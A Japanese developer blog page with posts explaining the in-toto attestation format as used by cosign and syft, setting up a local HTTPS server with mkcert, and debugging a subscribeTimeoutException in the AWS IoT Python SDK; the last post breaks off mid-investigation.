試運転ブログ

技術的なあれこれ

in-toto attestation の仕様とcosignでの使われ方

はじめに

anchoreのsyftが最近対応したattestationの出力 に使われている in-toto attestation format の仕様を調査をしたので、備忘録としてまとめておきます。

調べながらの記述となっており、不正確な情報も含まれているかもしれないです。何か気づいたことがあればコメントやtwitterなどで教えていただけると助かります。

TL; DL

例えば、あるDockerImageの作者は {"author": "saso"} というメタデータのattestationを作りたい時に、

  • メタデータの型を http://my.example.com/author とする
  • メタデータ{"author": "saso"}
  • 対象のDockerImageのdigestは sha256:20d3f693dcffa44d6b24eae88783324d25cc132c22089f70e4fbfb858625b062
  • 署名はcosignで生成した鍵を使用する

の場合に生成される、attestaionは以下のようになります。

{
  "payloadType": "application/vnd.in-toto+json",
  "payload": "eyJfdHlwZSI6Imh0dHBzOi8vaW4tdG90by5pby9TdGF0ZW1lbnQvdjAuMSIsInByZWRpY2F0ZVR5cGUiOiJodHRwOi8vbXkuZXhhbXBsZS5jb20vYXV0aG9yIiwic3ViamVjdCI6W3sibmFtZSI6ImluZGV4LmRvY2tlci5pby9vdG1zNjEvaGVsbG8tMSIsImRpZ2VzdCI6eyJzaGEyNTYiOiIyMGQzZjY5M2RjZmZhNDRkNmIyNGVhZTg4NzgzMzI0ZDI1Y2MxMzJjMjIwODlmNzBlNGZiZmI4NTg2MjViMDYyIn19XSwicHJlZGljYXRlIjp7ImF1dGhvciI6InNhc28ifX0=",
  "signatures": [
    {
      "keyid": "",
      "sig": "MEQCIG+na8kNMK4u9j2jc2Db94aR0rglNqbHZcscHH9QqP6zAiAtBfLFuNLhHNh/uPkaD++c7F1czPrCKdBdjq+If/g67Q=="
    }
  ]
}

payloadのbase64をデコードすると以下のようなデーが含まれます。

{
  "_type": "https://in-toto.io/Statement/v0.1",
  "predicateType": "http://my.example.com/author",
  "subject": [
    {
      "name": "index.docker.io/otms61/hello-1",
      "digest": {
        "sha256": "20d3f693dcffa44d6b24eae88783324d25cc132c22089f70e4fbfb858625b062"
      }
    }
  ],
  "predicate": {
    "author": "saso"
  }
}

in-toto attestation の概要

in-toto attestation format は、ソフトウェアのアーティファクトのセットに対するメタデータへの署名のフォーマットを提供します。

仕様は in-toto/attestation で定義されています。現在(2022/5/22)でのバージョンは 0.1.0 で、開発段階とのことです。

アーティファクトはハッシュで特定できる必要があり、複数のアーティファクトが同じメタデータを持つこともあります。 仕様の中で例としてあげられているものとしては、

などがあります。

構成要素

attestationの大まかな構成要素は、以下の3つです。

Envelope

Envelopeは、attestationの出力して得られるjsonの形式を定義しています。Evelopeの形式は Dead Simple Signing Envelope(DSSE) というフォーマットでもとにしています。 payloadType,payload,signatures の3つのキーをもちます。

Envelopeは以下のようなjson形式です。

{
  "payloadType": "application/vnd.in-toto+json",
  "payload": "<Base64(Statement)>",
  "signatures": [{"sig": "<Base64(Signature)>"}]
}
  • payloadType は application/vnd.in-toto+json で固定
  • payload に次に紹介するStatementとPredicateがbase64エンコードされて入っている
  • signatureには DSSE て定義されている payloadTypeとpayloadに対するひとつ以上の署名
    • signatureはpayloadTypeとpayloadに対して署名を作る
    • 作り方は、 SIGNATURE = Sign(PAE(UTF8(payloadType), SERIALIZED_BODY))
    • Signは署名する関数
    • SERIALIZED_BODY は、payloadのbase64される前のもの。 payload=<Base64(SERIALIZED_BODY)>
    • PAEは PAE(payloadType, payload) = "DSSEv1" + SP + LEN(payloadType) + SP + payloadType + SP + LEN(SERIALIZED_BODY) + SP + SERIALIZED_BODY
      • payloadTypeが http://example.com/HelloWorld で、SERIALIZED_BODYが hello world (この時にpayloadは aGVsbG8gd29ybGQ= となる) の場合 PAEは、 DSSEv1 29 http://example.com/HelloWorld 11 hello world

Statement

Statementは対象のソフトウェアのアーティファクトを管理します。

StatementとPredicateは以下のようなjson形式です。Envelopeのpayloadに、このjsonbase64エンコードされて埋め込まれています。

{
  "_type": "https://in-toto.io/Statement/v0.1",
  "subject": [
    {
      "name": "<NAME>",
      "digest": {"<ALGORITHM>": "<HEX_VALUE>"}
    },
    ...
  ],
  "predicateType": "<URI>",
  "predicate": {
    // arbitary object
  }
}
  • _type はv0.1では https://in-toto.io/Statement/v0.1 で固定
  • subject は対象のアーティファクトのセット
  • subject[*].digest は アルゴリズムハッシュ値が入っている
    • subject[*].digest は DigestSet という型で定義されている。sha256以上の強度のハッシュアルゴリズムが推奨されている。
  • subject[*].name はアーティファクトの名前
  • ビルドされた環境」のメタデータをバイナリの形式で区別する場合は以下のようになる
    • { "name": "curl-7.72.0.zip", "digest": { "sha256": "e363cc5b4e500bfc727106434a2578b38440aa18e105d57576f3d8f2abebf888" }}
    • { "name": "curl-7.72.0.tar.gz", "digest": { "sha256": "d4d5899a3868fbb6ae1856c3e55a32ce35913de3956d1973caccd37bd0174fa2" }}

Predicate

Prdicateはメタデータの型とメタデータの実体を持ちます。

  • predicateType はPredicateの型を定義しているURI
    • TypeURIRFC3986 のフォーマット
    • predicateTypeの例
      • SLSA によって定義されているアーティファクトのどのように生成されたかを記述する predicateType は https://slsa.dev/provenance/v0.1
      • anchoreでcyclonedx-jsonのフォーマットでattestの出力で使われているpredicateTypeは、 https://cyclonedx.org/bom
      • cosign の定義する脆弱性情報のattestのpredicateTypeは cosign.sigstore.dev/attestation/vuln/v1となっている
        • RFC3986の URIのBFN を見る感じでも、URIにはschemaの指定が必須なので、このpredicateTypeはshemaを持たないのであまりよくないようにはみえる。
  • predicate はpredicateTypeで定義されたデータが入る
    • syftのSBOMのattest生成の場合にはSBOMのデータそのままpredicateに含まれている

attestation の具体例

githubに上がっている例です。一部省略しています。

{
  "payloadType": "application/vnd.in-toto+json",
  "payload": "ewogICJzdWJqZWN0IjogWwogICAg...",
  "signatures": [{"sig": "MeQyap6MyFyc9Y..."}]
}

payloadをbase64でデコードしたものは以下になります。

{
  "_type": "https://in-toto.io/Statement/v0.1",
  "subject": [
    { "name": "curl-7.72.0.tar.gz",
      "digest": { "sha256": "d4d5899a3868fbb6ae1856c3e55a32ce35913de3956d1973caccd37bd0174fa2" }},
    { "name": "curl-7.72.0.zip",
      "digest": { "sha256": "e363cc5b4e500bfc727106434a2578b38440aa18e105d57576f3d8f2abebf888" }}
  ],
  "predicateType": "https://slsa.dev/provenance/v0.1",
  "predicate": {
    "builder": { "id": "https://github.com/Attestations/GitHubHostedActions@v1" },
    "recipe": {
      "type": "https://github.com/Attestations/GitHubActionsWorkflow@v1",
      "definedInMaterial": 0,
      "entryPoint": "build.yaml:maketgz"
    },
    "metadata": {
      "buildStartedOn": "2020-08-19T08:38:00Z"
    },
    "materials": [
      {
        "uri": "git+https://github.com/curl/curl-docker@master",
        "digest": { "sha1": "d6525c840a62b398424a78d792f457477135d0cf" }
      }, {
        "uri": "github_hosted_vm:ubuntu-18.04:20210123.1"
      }, {
        "uri": "git+https://github.com/actions/checkout@v2",
        "digest": {"sha1": "5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f"}
      }, {
        "uri": "git+https://github.com/actions/upload-artifact@v2",
        "digest": { "sha1": "e448a9b857ee2131e752b06002bf0e093c65e571" }
      }, {
        "uri": "pkg:deb/debian/stunnel4@5.50-3?arch=amd64",
        "digest": { "sha256": "e1731ae217fcbc64d4c00d707dcead45c828c5f762bcf8cc56d87de511e096fa" }
      }, {
        "uri": "pkg:deb/debian/libbrotli-dev@1.0.7-2+deb10u1?arch=amd64",
        "digest": { "sha256": "05b6e467173c451b6211945de47ac0eda2a3dccb3cc7203e800c633f74de8b4f" }
      }
    ]
  }
}

cosign のattestation

cosign を使ってDocker Imageに対してattestationを作成し、DockerHubのようなOCI Registryにattestationを保存することができます。

試しに適当なpredicateTypeとpredicateを自分で作成したotms61/hello-1登録してみます。

$ cosign generate-key-pair
Enter password for private key:
Enter password for private key again:
Private key written to cosign.key
Public key written to cosign.pub

$ cat predicate.json |jq .
{
  "author": "saso"
}

$ cosign attest  --key cosign.key --type http://my.example.com/author --predicate predicate.json otms61/hello-1

verify-attestationコマンドで生成されたattestationの確認と、署名が正しいかの確認ができます。

$ cosign verify-attestation --key cosign.pub otms61/hello-1

Verification for otms61/hello-1 --
The following checks were performed on each of these signatures:
  - The cosign claims were validated
  - The signatures were verified against the specified public key
{"payloadType":"application/vnd.in-toto+json","payload":"eyJfdHlwZSI6Imh0dHBzOi8vaW4tdG90by5pby9TdGF0ZW1lbnQvdjAuMSIsInByZWRpY2F0ZVR5cGUiOiJodHRwOi8vbXkuZXhhbXBsZS5jb20vYXV0aG9yIiwic3ViamVjdCI6W3sibmFtZSI6ImluZGV4LmRvY2tlci5pby9vdG1zNjEvaGVsbG8tMSIsImRpZ2VzdCI6eyJzaGEyNTYiOiIyMGQzZjY5M2RjZmZhNDRkNmIyNGVhZTg4NzgzMzI0ZDI1Y2MxMzJjMjIwODlmNzBlNGZiZmI4NTg2MjViMDYyIn19XSwicHJlZGljYXRlIjp7ImF1dGhvciI6InNhc28ifX0=","signatures":[{"keyid":"","sig":"MEQCIG+na8kNMK4u9j2jc2Db94aR0rglNqbHZcscHH9QqP6zAiAtBfLFuNLhHNh/uPkaD++c7F1czPrCKdBdjq+If/g67Q=="}]}

最後の1行に生成されたattestationが出力されています。payloadのbase64をデコードすると登録したpredicateが確認できます。

$ pbpaste | jq '.payload | @base64d | fromjson'
{
  "_type": "https://in-toto.io/Statement/v0.1",
  "predicateType": "http://my.example.com/author",
  "subject": [
    {
      "name": "index.docker.io/otms61/hello-1",
      "digest": {
        "sha256": "20d3f693dcffa44d6b24eae88783324d25cc132c22089f70e4fbfb858625b062"
      }
    }
  ],
  "predicate": {
    "author": "saso"
  }
}

間違った鍵で公開鍵で検証をすると以下のような出力になります。

$ cosign verify-attestation --key cosign.pub otms61/hello-1
Error: no matching attestations:
Accepted signatures do not match threshold, Found: 0, Expected 1
main.go:46: error during command execution: no matching attestations:
Accepted signatures do not match threshold, Found: 0, Expected 1

OCI Registryにどう保管されるか

cosign attestコマンドはattestationを生成して、DockerHubの対象イメージに ${イメージのダイジェスト}.att というタグでアーティファクトは保存されています。

$ crane digest otms61/hello-1:latest
sha256:20d3f693dcffa44d6b24eae88783324d25cc132c22089f70e4fbfb858625b062

$ crane ls otms61/hello-1
latest
sha256-20d3f693dcffa44d6b24eae88783324d25cc132c22089f70e4fbfb858625b062.att

今回の場合は イメージのダイジェストが sha256:20d3f693dcffa44d6b24eae88783324d25cc132c22089f70e4fbfb858625b062 なので、 sha256-20d3f693dcffa44d6b24eae88783324d25cc132c22089f70e4fbfb858625b062.att というタグでアーティファクトが保存されています。

マニフェストを確認すると以下の通りです。

> crane manifest otms61/hello-1:sha256-20d3f693dcffa44d6b24eae88783324d25cc132c22089f70e4fbfb858625b062.att | jq .
{
  "schemaVersion": 2,
  "mediaType": "application/vnd.oci.image.manifest.v1+json",
  "config": {
    "mediaType": "application/vnd.oci.image.config.v1+json",
    "size": 233,
    "digest": "sha256:e06a8292130008eb64770bafe3b2c6d2e22f0b5e0b2125ee95f131c61e719a64"
  },
  "layers": [
    {
      "mediaType": "application/vnd.dsse.envelope.v1+json",
      "size": 544,
      "digest": "sha256:60f9b1fbaf99f54daee933b6a8920b0dde05f5d8dd7b5b7e466f23b2f96f3cb4",
      "annotations": {
        "dev.cosignproject.cosign/signature": ""
      }
    }
  ]
}

configの中身 (crane blob otms61/hello-1@sha256:e06a8292130008eb64770bafe3b2c6d2e22f0b5e0b2125ee95f131c61e719a64の結果)

{
  "architecture": "",
  "created": "0001-01-01T00:00:00Z",
  "history": [
    {
      "created": "0001-01-01T00:00:00Z"
    }
  ],
  "os": "",
  "rootfs": {
    "type": "layers",
    "diff_ids": [
      "sha256:60f9b1fbaf99f54daee933b6a8920b0dde05f5d8dd7b5b7e466f23b2f96f3cb4"
    ]
  },
  "config": {}
}

layerの中身( crane blob otms61/hello-1@sha256:60f9b1fbaf99f54daee933b6a8920b0dde05f5d8dd7b5b7e466f23b2f96f3cb4 の結果)は、 cosign verify-attestation --key cosign.pub otms61/hello-1 コマンドの時に出力されていたものと同じものが取得できることがわかります。

{
  "payloadType": "application/vnd.in-toto+json",
  "payload": "eyJfdHlwZSI6Imh0dHBzOi8vaW4tdG90by5pby9TdGF0ZW1lbnQvdjAuMSIsInByZWRpY2F0ZVR5cGUiOiJodHRwOi8vbXkuZXhhbXBsZS5jb20vYXV0aG9yIiwic3ViamVjdCI6W3sibmFtZSI6ImluZGV4LmRvY2tlci5pby9vdG1zNjEvaGVsbG8tMSIsImRpZ2VzdCI6eyJzaGEyNTYiOiIyMGQzZjY5M2RjZmZhNDRkNmIyNGVhZTg4NzgzMzI0ZDI1Y2MxMzJjMjIwODlmNzBlNGZiZmI4NTg2MjViMDYyIn19XSwicHJlZGljYXRlIjp7ImF1dGhvciI6InNhc28ifX0=",
  "signatures": [
    {
      "keyid": "",
      "sig": "MEQCIG+na8kNMK4u9j2jc2Db94aR0rglNqbHZcscHH9QqP6zAiAtBfLFuNLhHNh/uPkaD++c7F1czPrCKdBdjq+If/g67Q=="
    }
  ]
}

payloadの中身のbaes64を解いてみると。

> crane blob otms61/hello-1@sha256:60f9b1fbaf99f54daee933b6a8920b0dde05f5d8dd7b5b7e466f23b2f96f3cb4| jq -r '.payload | @base64d' | jq .
{
  "_type": "https://in-toto.io/Statement/v0.1",
  "predicateType": "http://my.example.com/author",
  "subject": [
    {
      "name": "index.docker.io/otms61/hello-1",
      "digest": {
        "sha256": "20d3f693dcffa44d6b24eae88783324d25cc132c22089f70e4fbfb858625b062"
      }
    }
  ],
  "predicate": {
    "author": "saso"
  }
}

subject に対象にしたDockerImageに関する情報が入っていて、 predicateTypeとpredicateに指定した情報が入っていることがわかります。

複数のattestationを保持した場合の挙動

cosign attest を使って複数登録した場合にはレイヤーが追加されます。

$ cat predicate.json
{"author": "saso", "github": "otms61"}

$ cosign attest  --key cosign.key --type http://my.example.com/author --predicate predicate.json otms61/hello-1
Enter password for private key:
Using payload from: predicate.json

manifestをみるとlayerが追加されていることがわかります。

$ crane manifest otms61/hello-1:sha256-20d3f693dcffa44d6b24eae88783324d25cc132c22089f70e4fbfb858625b062.att | jq .
{
  "schemaVersion": 2,
  "mediaType": "application/vnd.oci.image.manifest.v1+json",
  "config": {
    "mediaType": "application/vnd.oci.image.config.v1+json",
    "size": 342,
    "digest": "sha256:10c33275bf4928e02c3364c1d9ee5c535ebf535995c808bcac9c1e628742acee"
  },
  "layers": [
    {
      "mediaType": "application/vnd.dsse.envelope.v1+json",
      "size": 544,
      "digest": "sha256:60f9b1fbaf99f54daee933b6a8920b0dde05f5d8dd7b5b7e466f23b2f96f3cb4",
      "annotations": {
        "dev.cosignproject.cosign/signature": ""
      }
    },
    {
      "mediaType": "application/vnd.dsse.envelope.v1+json",
      "size": 568,
      "digest": "sha256:640d3bf02710f135ad453d3ba8fcc1afd60395a0a15d93e3354291fa8e4b20c0",
      "annotations": {
        "dev.cosignproject.cosign/signature": ""
      }
    }
  ]
}

cosign verify-attestation の結果でも二種類のjsonが取得できていることがわかります。

$ cosign verify-attestation --key cosign.pub otms61/hello-1

Verification for otms61/hello-1 --
The following checks were performed on each of these signatures:
  - The cosign claims were validated
  - The signatures were verified against the specified public key
{"payloadType":"application/vnd.in-toto+json","payload":"eyJfdHlwZSI6Imh0dHBzOi8vaW4tdG90by5pby9TdGF0ZW1lbnQvdjAuMSIsInByZWRpY2F0ZVR5cGUiOiJodHRwOi8vbXkuZXhhbXBsZS5jb20vYXV0aG9yIiwic3ViamVjdCI6W3sibmFtZSI6ImluZGV4LmRvY2tlci5pby9vdG1zNjEvaGVsbG8tMSIsImRpZ2VzdCI6eyJzaGEyNTYiOiIyMGQzZjY5M2RjZmZhNDRkNmIyNGVhZTg4NzgzMzI0ZDI1Y2MxMzJjMjIwODlmNzBlNGZiZmI4NTg2MjViMDYyIn19XSwicHJlZGljYXRlIjp7ImF1dGhvciI6InNhc28ifX0=","signatures":[{"keyid":"","sig":"MEQCIG+na8kNMK4u9j2jc2Db94aR0rglNqbHZcscHH9QqP6zAiAtBfLFuNLhHNh/uPkaD++c7F1czPrCKdBdjq+If/g67Q=="}]}
{"payloadType":"application/vnd.in-toto+json","payload":"eyJfdHlwZSI6Imh0dHBzOi8vaW4tdG90by5pby9TdGF0ZW1lbnQvdjAuMSIsInByZWRpY2F0ZVR5cGUiOiJodHRwOi8vbXkuZXhhbXBsZS5jb20vYXV0aG9yIiwic3ViamVjdCI6W3sibmFtZSI6ImluZGV4LmRvY2tlci5pby9vdG1zNjEvaGVsbG8tMSIsImRpZ2VzdCI6eyJzaGEyNTYiOiIyMGQzZjY5M2RjZmZhNDRkNmIyNGVhZTg4NzgzMzI0ZDI1Y2MxMzJjMjIwODlmNzBlNGZiZmI4NTg2MjViMDYyIn19XSwicHJlZGljYXRlIjp7ImF1dGhvciI6InNhc28iLCJnaXRodWIiOiJvdG1zNjEifX0=","signatures":[{"keyid":"","sig":"MEUCIQDkqqPx6TTA383kBr5ZTQuAZfUKDBH7SS4eAyk8DRvasgIgMp9+dQMCzSBlV81tEATIGg/J1YGGLHOBE2atKhe91dk="}]}

新しく別の証明書を作成してattestを追加した時の挙動は確認してみたのですが、少し不可解な挙動をしているのでもう少し様子をみています。

syftのattestコマンド

alpine:3.15に対して cyclonedx-json のフォーマットでSBOMを作成し、attestationを作成しようとすると以下のようなコマンドになります。

$ syft attest --key ./cosign.key alpine:3.15 -o cyclonedx-json > sbom.att.json

sbom.att.jsonのpayloadをbase64でデコードすると以下のようなデータが入っています。

{
  "_type": "https://in-toto.io/Statement/v0.1",
  "predicateType": "https://cyclonedx.org/bom",
  "subject": [
    {
      "name": "",
      "digest": {
        "sha256": "4edbd2beb5f78b1014028f4fbb99f3237d9561100b6881aabbf5acce2c4f9454"
      }
    }
  ],
  "predicate": {
    "bomFormat": "CycloneDX",
    // 省略
  }
}

subjectのハッシュはalpine:3.15のダイジェストになっています。

$ crane digest alpine:3.15
sha256:4edbd2beb5f78b1014028f4fbb99f3237d9561100b6881aabbf5acce2c4f9454

predicateも含めすべて確認したい場合にはgistに公開鍵も含めてあげています。

alpine:3.15 sbom attestation · GitHub

syftにはverifyする機能は含まれておらず、cosignコマンドもOCI Registryに保管されているattestを検証する機能しかないようなので、attestationと公開鍵のセットがあっても簡単に検証できるようなコマンドは現状なさそうな雰囲気はあります。 syftでは生成したattestationをcosignコマンドでOCIに登録して、 cosign verify-attestation をする例が記載されています。 github.com

おわりに

in-toto/attestation の仕様と、cosignとsyftでの使われ方をざっとみてみました。 最初にattestationの形式を見た時に、署名ということで、jwtに近い話なのかなと感じていました。in-toto/attestation は、predicateTypeを明示しなくてはいけなかったり、複数のsubjectを持つことができたり、複数のsignatureを持つことができたり、jwtに比べるとより幅広いユースケースを想定しているように感じました。

また、subjectが対象のアーティファクトのダイジェストだと分からなかったり、署名方法やpredicateあたりがわかりにくく感じました。

cosignが対応したことにより、今後いろいろと使われていく可能性などなど感じられて興味深かったです。

ローカルでhttpsサーバの立て方

コールバックなどの関係で今使っているドメインをそのまま使って、手元の変更をすぐに確認したい場合などに、ローカルでhttpsサーバをたてて静的なサイトを用意したいことがありました。Mac OSGoogle Chromeでの確認の仕方を備忘録として必要なコマンドを残しておきます。

今回は https://my.example.com/ に手元の環境のファイルをホスティングする方法を記載します。

主に参考にした以下のサイトと実行しているコマンドはほぼ同じです。大事なことも多く書かれているので一度読んでみることをお勧めします。

web.dev

mkcertのインストール

mkcert はローカルでの開発用に証明書の発行できるツールです。

brew install mkcert
mkcert -install 

証明書の発行

$ mkcert my.example.com

Created a new certificate valid for the following names 📜
 - "my.example.com"
The certificate is at "./my.example.com.pem" and the key at "./my.example.com-key.pem" ✅
It will expire on 25 August 2023 🗓

$ ls
my.example.com-key.pem  my.example.com.pem

注意: ここで生成されたmy.example.com-key.pem と my.example.com.pemは他人には共有しないようにしてください。

http-serverのインストール

npm install -g http-server

http-serverの起動

$ mkdir src
$ cd src
$ echo "<h1>Hello World!</h1>" > index.html
$ http-server --ssl --port 443 --cert ../my.example.com.pem --key ../my.example.com-key.pem
Starting up http-server, serving ./ through https
Available on:
  https://127.0.0.1:443
  https://192.168.11.2:443
Hit CTRL-C to stop the server

/etc/hostsの更新

my.example.comのアクセスを127.0.0.1に向けるために、お好きなエディタで/etc/hostsに以下の1行を追加(sudo vim /etc/hostsなど)。root権限は必要です。

127.0.0.1 my.example.com

注意: 作業がおわったら削除かコメントアウトしてください。消し忘れると、本当のIPの方にアクセスできなくなり、いろいろ事故るので気をつけてください。

ブラウザでアクセス

ブラウザで https://my.example.com/ にアクセスすることでファイルにアクセスできます。

f:id:otameshi61:20210525233324p:plain

以上!

とりあえずファイルにアクセスしたいだけなら、以上です。

その他

その他いくつかためしたことなどのメモです。

ルーティングしたい場合

SPAなどで基本的に特定のファイルを返したいけど、/static配下は静的なファイルを返したいみたいなときはこんな感じのコードを書けばいけます。

const express = require('express');
const path = require('path');
const port = 443;
var app = express();

var fs = require('fs');
var https = require('https');
var options = {
  key: fs.readFileSync('../my.example.com-key.pem'),
  cert: fs.readFileSync('../my.example.com.pem')
};
var server = https.createServer(options, app);

app.use('/static', express.static(path.join(__dirname, 'static')))

app.get('*', function (request, response) {
  response.sendFile(path.resolve(__dirname, 'index.html'));
});

server.listen(port);
console.log("server started on port " + port);

コードは以下のサイトを参考にしています。

Node.js Express で HTTPSを利用するパターン - Qiita

mkcertの証明書について

mkcert -installコマンドでは、ローカルのsystem trust storeに登録されたというログが出力されます。

$ mkcert -install
Created a new local CA 💥
Sudo password:
The local CA is now installed in the system trust store! ⚡️

キーチェインで確認すると以下のルート証明書が有効にされていることが確認できます。

f:id:otameshi61:20210526001237p:plain

以下のコマンドで生成した証明書はブラウザの証明書の確認のところから、ルート証明書とチェーンになっていることがわかります。

$ mkcert my.example.com

Created a new certificate valid for the following names 📜
 - "my.example.com"
The certificate is at "./my.example.com.pem" and the key at "./my.example.com-key.pem" ✅
It will expire on 25 August 2023 🗓

f:id:otameshi61:20210526003055p:plain

Chromeの--host-rules

以下のブログでも紹介されている--host-rulesを使うとhostsファイルのようにドメインとIPのマッピングを更新できるとのこと。実際に試してみたのですが、確かに宛先は変わったのですが証明書のエラーが出てしまって、今回のケースでは使えないようでした。あまりちゃんと原因を追っていないので詳しい人がいたら知りたいです。

blog.jxck.io

こんな感じのコマンで試してました。

/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --host-rules="MAP my.example.com 127.0.0.1" --user-data-dir="/tmp/aaa" https://my.example.com

感想

opensslのコマンドを調べて証明書を用意して、次に必要になった時には記憶からなくなっているのでもう一度調べるみたいなことを繰り返していましたが、今は調べてみたらいろいろ便利なツールが出ていて驚きました。

途中でリンクを貼ったmaudnalsさんとjxckさんのブログはlocalhostというドメイン名の特異性などに触れられていたとても勉強になりました。

誰かのお役に立てたら幸いです。

AWSIoTPythonSDK のshadowGetで subscribeTimeoutException がおきた話

Greengrass上で実行されるアプリケーションの開発中に目にした、Device Shadowを取得の挙動について備忘録として記録に残しておきます。 AWS IoT CoreのMQTT topicsやDevice Shadowのことをある程度知っていると理解しやすいかと思います。

何かしら間違ったことを書いてしまっていたところがあればご指摘いただけると幸いです。

GreengrassとAWSIoTPythonについて

Greengrassは正式名称には「AWS IoT Greengrass」で、AWSが提供するIoT向けのサービスです。IoT機器上に AWS Lambdaをデプロイしたり、実行してりできます。

aws.amazon.com

Greengrassでは証明書を使ってAWSリソースの権限を制御することができます。 AWSIoTPythonというSDKを使うことで、Greengrassの証明書を使ってMQTTやMQTT over the WebSocket protocolでAWSのリソースにアクセスすることができます。

github.com

DeviceShadowの値を取得してみる

以下のコードではGreengrassの Device Shadow というデバイスと他のシステム(バックエンドサーバなど)でデータを共有するためのデータストアの値を取得しています。 データの取得はshadowGetという関数を用いていて、受け取った値をsrcCallback関数に引き渡すことでDeviceShadowの値を取得できます。 以下のコードは抜粋なので、コード全体を見たい場合は GISTの方 をご確認ください。

def shadowGet_callback(payload: str, response_status: str, token: str):
    print("Got shadow:")
    print(json.dumps(json.loads(payload), indent=2))


def main():
    CLIENT_ID = "test1_Core"
    client = create_mqtt_connection(client_id=CLIENT_ID)
    shadow_handler = build_shadow_handler(
        clientID=CLIENT_ID, awsIoTMQTTClient=client
    )

    shadow_handler.shadowGet(srcCallback=shadowGet_callback, srcTimeout=10)


if __name__ == "__main__":
    main()

実行するとこのような結果になります。

> python shadowGet.py
Got shadow:
{
  "state": {
    "desired": {
      "welcome": "aws-iot"
    },
    "reported": {
      "welcome": "aws-iot"
    }
  },
  "metadata": {
    "desired": {
      "welcome": {
        "timestamp": 1614564291
      }
    },
    "reported": {
      "welcome": {
        "timestamp": 1614564291
      }
    }
  },
  "version": 1,
  "timestamp": 1615016122,
  "clientToken": "95a4a071-1e17-4d2d-b3f8-4ebfa7f2d1a1"
}

DeviceShadowは、AWS Consoleで確認すると以下のようになっています。

f:id:otameshi61:20210306180118p:plain
DeviceShadowの画面

subscribeしてみる

AWS IoTではMQTTを利用してメッセージのパブリッシュとサブスクライブをすることができます。 docs.aws.amazon.com

以下のコードでは hello/world というトピックをサブスクライブして、メッセージを受け取ったら出力しています(全体は こちら )。

def main():
    CLIENT_ID = "test1_Core"
    client = create_mqtt_connection(client_id=CLIENT_ID)

    def subscribe_callback(client, userdata, message):
        print(f"Received a new message: {message.payload.decode('utf-8')}")

    client.subscribe(topic="hello/world", QoS=1, callback=subscribe_callback)

    while True:
        time.sleep(5)


if __name__ == "__main__":
    main()

ブラウザではAWS ConsoleにMQTTのテストするクライアントが提供されていて、 hello/worldのトピックにメッセージを発行しています。ターミナルの方でプログラムを実行し、メッセージを受け取れていることが確認できます。

f:id:otameshi61:20210307170529g:plain
MQTTのパブリッシュとサブスクライブの確認

実行に失敗するコード

ここからが本記事の本題なのですが、MQTTのサブスクライブのcallback関数の中で、shadowを取得しようとするとなぜか例外があがってしまうという問題がおきました。 具体的な問題が起きるコードは抜粋すると以下のような感じです。

def shadowGet_callback(payload: str, response_status: str, token: str):
    print(f"shadow: {json.loads(payload)}")


def main():
    CLIENT_ID = "test1_Core"
    client = create_mqtt_connection(client_id=CLIENT_ID)
    shadow_handler = build_shadow_handler(
        clientID=CLIENT_ID, awsIoTMQTTClient=client
    )

    def subscribe_callback(client, userdata, message):
        print(f"Received a new message: {message.payload.decode('utf-8')}")
        shadow_handler.shadowGet(srcCallback=shadowGet_callback, srcTimeout=10)

    client.subscribe(topic="hello/world", QoS=1, callback=subscribe_callback)

    while True:
        time.sleep(5)


if __name__ == "__main__":
    main()

このコードでhello/worldトピックにパブリッシュすると、callbackの最初のprintは実行された後に subscribeTimeoutException の例外があがります。

$ python fail_shadowGet.py
Received a new message: {
  "message": "Hello from AWS IoT console"
}
Subscribe timed out
Exception in thread Thread-1:
Traceback (most recent call last):
  File "/Users/saso/.pyenv/versions/3.7.5/lib/python3.7/threading.py", line 926, in _bootstrap_inner
    self.run()
  File "/Users/saso/.pyenv/versions/3.7.5/lib/python3.7/threading.py", line 870, in run
    self._target(*self._args, **self._kwargs)
  File "/Users/saso/.pyenv/versions/3.7.5/lib/python3.7/site-packages/AWSIoTPythonSDK/core/protocol/internal/workers.py", line 147, in _dispatch
    self._dispatch_one()
  File "/Users/saso/.pyenv/versions/3.7.5/lib/python3.7/site-packages/AWSIoTPythonSDK/core/protocol/internal/workers.py", line 154, in _dispatch_one
    self._dispatch_methods[event_type](mid, data)
  File "/Users/saso/.pyenv/versions/3.7.5/lib/python3.7/site-packages/AWSIoTPythonSDK/core/protocol/internal/workers.py", line 237, in _dispatch_message
    message_callback(None, None, message)  # message_callback(client, userdata, message)
  File "fail_shadowGet.py", line 47, in subscribe_callback
    shadow_handler.shadowGet(srcCallback=shadowGet_callback, srcTimeout=10)
  File "/Users/saso/.pyenv/versions/3.7.5/lib/python3.7/site-packages/AWSIoTPythonSDK/core/shadow/deviceShadow.py", line 243, in shadowGet
    self._shadowManagerHandler.basicShadowSubscribe(self._shadowName, "get", self.generalCallback)
  File "/Users/saso/.pyenv/versions/3.7.5/lib/python3.7/site-packages/AWSIoTPythonSDK/core/shadow/shadowManager.py", line 70, in basicShadowSubscribe
    self._mqttCoreHandler.subscribe(currentShadowAction.getTopicAccept(), 0, srcCallback)
  File "/Users/saso/.pyenv/versions/3.7.5/lib/python3.7/site-packages/AWSIoTPythonSDK/core/protocol/mqtt_core.py", line 306, in subscribe
    raise subscribeTimeoutException()
AWSIoTPythonSDK.exception.AWSIoTExceptions.subscribeTimeoutException

subscribeTimeoutExceptionが発生してしまう原因について調査

以降では、subscribeTimeoutExceptionが発生してしまう原因について調査をしていきます。

調査1. subscribeTimeoutExceptionという例外クラスについて

subscribeTimeoutExceptionの名前からサブスクライブ時にタイムアウトが発生しているんやろうなぁと予想できますが、なぜタイムアウトが発生してしまうのか、どのような条件だと例外が発生するかなど、何かしら情報がないか探してみます。

まずこのクラスの定義を確認してみると、クラス定義ではoperationTimeoutExceptionを継承していることやmsgが設定されていることはわかりますが、原因の手がかりにつながりそうな情報はなさそうでした。

class subscribeTimeoutException(operationTimeoutException.operationTimeoutException):
    def __init__(self, msg="Subscribe Timeout"):
        self.message = msg

github.com

APIドキュメントのサイトが公開されており、検索ボックスもあったのでsubscribeTimeoutExceptionで検索をしてみましたが、残念ながら検索ヒット数は0件でした。

s3.amazonaws.com

subscribeTimeoutExceptionでGoogle検索をした場合に出てくる情報にもいくつか目をとおしてみましたが、権限周りの設定が失敗している場合など、今回調査しているようなケースではなさそうでした。

調査2. shadowGetについて

例外をあげている shadowGet関数の説明 をみてみます。

shadowGet(srcCallback, srcTimeout)
Description

Retrieve the device shadow JSON document from AWS IoT by publishing an empty JSON document to the corresponding shadow topics. 
